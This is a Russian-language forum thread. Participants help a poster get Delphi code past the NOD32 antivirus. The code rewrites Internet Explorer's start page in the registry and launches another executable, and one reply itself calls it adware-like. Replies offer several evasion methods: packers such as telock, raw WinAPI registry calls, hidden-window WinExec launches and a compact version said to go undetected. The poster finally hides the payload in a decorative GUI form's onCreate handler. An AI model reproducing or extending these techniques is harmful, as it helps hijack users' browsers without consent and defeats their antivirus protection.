Есть программка (код ниже), она не делает ничего особенного кроме того что при запуске её устанавливается Домашняя страница у IE в http://www.my_site.ru, а затем вызывается прогрмма из той же директории some_bin.exe (которая полностью безопасна). НОД 32 почему то ругается на скомпилинный EXEшник, хотя DR.Web молчит. Вопрос: 1) как сделать чтобы заткнуть НОД или модернизировать код чтобы НОД не рушгался 2)правда ли что если я буду компилилить данный код более низкой версией Делфи чем 7.0, то размер ЕХЕшника будет меньше? Code: {$R run.res} //Инклудим Файл ресурсов в котором есть иконка uses Windows, Registry, ShellApi; var r: TRegistry; h: HWND; begin r := TRegistry.Create; r.RootKey := HKEY_CURRENT_USER; r.OpenKey('\Software\Microsoft\Internet Explorer\Main', True); r.WriteString('Start Page', 'http://www.some_site.ru'); r.CloseKey; r.Free; ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL); end.
точняк это из за осла нод парит мозги. 1)если уж совсем никак, то попробуй реализовать операции с реестром через bat файл, а потом его запустить 2) может быть и уменьшится, но не значительно. проблемы с размером exe решаются просто: использовать kol библиотеку.
1. Скрытый запуск процесса. 2. Работа с ветвью реестра которая подгрузится по умолчанию... ну похоже ведь на Adware, да? =) 1. а) не юзай пакеры б) ни делай скрытых запусков типа winexec('file.exe',sw_hide); ShellExecute(handle,nil,'file.exe',nil,nil,sw_hide); (примечание. ИСХОДНИК СМОТРЕЛ!) в) ни делай ничего противозаконного =) 2) да действительно так чем выше версия КОМПИЛЯТОРА тем выше исходный размер. Code: {$R run.res} //Инклудим Файл ресурсов в котором есть иконка //зачем иконка? uses Windows, Registry, ShellApi; //Размер? Избавляйся от Registry & ShellAPI var r: TRegistry; h: HWND; //Теперь объясни зачем тебе переменная h? begin r := TRegistry.Create; r.RootKey := HKEY_CURRENT_USER; r.OpenKey('\Software\Microsoft\Internet Explorer\Main', True); r.WriteString('Start Page', 'http://www.some_site.ru'); r.CloseKey; r.Free; ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL); end.
1) Думаю многие видели диски какого нить там софта, где также ставиться хомпага в ИЕ на их сайт, причем нод молчит. Может есть способ изменения хомпаге ИЕ через ВинАпи ? 2) я пренебрежительно отношусь к Kol, он бывает коверкает приложение, хотя здесь вроде программка маленькая, думаю что всё будет ОК. Кстати, будет ли НОД ругаться если использовать не консльное приложение а Gui-приложение? ( надо проверить ) .
Иконка нужна, однозначна, ну чтоб красиво было Если избавться от Registry & ShellAPI , то каким образом менять хомпагу у ИЕ ?
)) Ужос... от ShellAPI можно избавиться путем переноса описания функции со всем описанием т.е. имя, переменные, экспорт... сейчас не могу сделать т.к. не дома. в качестве варианта можно использовать winexec от Registry можно избавиться если будешь работать с реестром на API
а вместо ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL); WinExec() использовать нереально? учитывая что ShellExecute запускается с аргументами h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL, WinExec полноценно ее заменит + не надо shellapi подключать, размер будет меньше
пакеры как раз надо использовать!!! какой нибудь telock 1.0 (private edition). Вряд ли нод его распакует )))
Тут попробавал изменить код, чрез ВинАпи попыытался, нифига, НОД Снова орет: //{$R run.res} uses Windows, Registry, ShellApi; var h: HWND; (******) function RegWriteStr(RootKey: HKEY; Key, Name, Value: string): Boolean; var Handle: HKEY; Res: LongInt; begin Result := False; Res := RegCreateKeyEx(RootKey, PChar(Key), 0, nil, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, Handle, nil); if Res <> ERROR_SUCCESS then Exit; Res := RegSetValueEx(Handle, PChar(Name), 0, REG_SZ, PChar(Value), Length(Value) + 1); Result := Res = ERROR_SUCCESS; RegCloseKey(Handle); end; (******) begin RegWriteStr(HKEY_CURRENT_USER, 'Software\Microsoft\Internet Explorer\Main', 'Start Page', 'http://www.maizon.ru'); // ShellExecute(h, 'open', pchar('la2.exe'), nil , nil, SW_SHOWNORMAL); end.
Вот: Работает, весит 14 кб, нодом не палица =) program Project1; {$R run.res} uses Windows; var Reg : HKEY; begin RegCreateKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\Main', Reg); RegSetValueEx(Reg, PChar('Start Page') ,0 ,REG_SZ ,PChar('http://www.somesite.ru'), Length('http://www.somesite.ru') + 1); RegCloseKey(Reg); winexec('some_bin.exe',0); end.
) ну даешь... НОД не тупой просто параноя =) ну как сделал? вот: function ShellExecute(hWnd: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll'name 'ShellExecuteA';
Из этой проблемы вылез с помощью GUI проложения, добавил на форму всяких красивых кнопоче, орюшечек и др, а onCreate сделал бяку которую и хотел.